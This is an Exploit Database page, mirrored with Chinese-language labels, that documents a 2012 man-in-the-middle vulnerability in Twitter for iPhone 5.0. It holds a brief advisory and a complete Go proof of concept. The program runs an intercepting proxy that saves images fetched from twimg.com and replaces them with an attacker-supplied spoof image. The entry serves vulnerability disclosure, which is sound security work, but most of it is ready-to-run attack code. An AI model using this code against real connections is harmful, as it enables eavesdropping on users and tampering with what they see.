Twitter for iPhone – Man in the Middle Security

• Exploit Database
• 15 阅读

• 作者： Carlos Reventlov
  日期： 2012-11-23
• 类别：

  • remote
  平台：

  • ios
• 来源：https://www.exploit-db.com/exploits/38058/

• source: https://www.securityfocus.com/bid/56665/info
  
  Twitter for iPhone is prone to a security vulnerability that lets attackers to perform a man-in-the-middle attack.
  
  Attackers can exploit this issue to capture and modify pictures that the user sees in the application.
  
  Twitter for iPhone 5.0 is vulnerable; other versions may also be affected. 
  
  /*
  Twitter App, eavesdroping PoC
  
  Written by Carlos Reventlov <carlos@reventlov.com>
  License MIT
  */
  
  package main
  
  import (
  "fmt"
  "github.com/xiam/hyperfox/proxy"
  "github.com/xiam/hyperfox/tools/logger"
  "io"
  "log"
  "os"
  "path"
  "strconv"
  "strings"
  )
  
  const imageFile = "spoof.jpg"
  
  func init() {
  _, err := os.Stat(imageFile)
  if err != nil {
  panic(err.Error())
  }
  }
  
  func replaceAvatar(pr *proxy.ProxyRequest) error {
  stat, _ := os.Stat(imageFile)
  image, _ := os.Open(imageFile)
  
  host := pr.Response.Request.Host
  
  if strings.HasSuffix(host, "twimg.com") == true {
  
  if pr.Response.ContentLength != 0 {
  
  file := "saved" + proxy.PS + pr.FileName
  
  var ext string
  
  contentType := pr.Response.Header.Get("Content-Type")
  
  switch contentType {
  case "image/jpeg":
  ext = ".jpg"
  case "image/gif":
  ext = ".gif"
  case "image/png":
  ext = ".png"
  case "image/tiff":
  ext = ".tiff"
  }
  
  if ext != "" {
  fmt.Printf("** Saving image.\n")
  
  os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))
  
  fp, _ := os.Create(file)
  
  if fp == nil {
  fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
  }
  
  io.Copy(fp, pr.Response.Body)
  
  fp.Close()
  
  pr.Response.Body.Close()
  }
  
  }
  
  fmt.Printf("** Sending bogus image.\n")
  
  pr.Response.ContentLength = stat.Size()
  pr.Response.Header.Set("Content-Type", "image/jpeg")
  pr.Response.Header.Set("Content-Length",
  strconv.Itoa(int(pr.Response.ContentLength)))
  pr.Response.Body = image
  }
  
  return nil
  }
  
  func main() {
  
  p := proxy.New()
  
  p.AddDirector(logger.Client(os.Stdout))
  
  p.AddInterceptor(replaceAvatar)
  
  p.AddLogger(logger.Server(os.Stdout))
  
  var err error
  
  err = p.Start()
  
  if err != nil {
  log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
  }
  }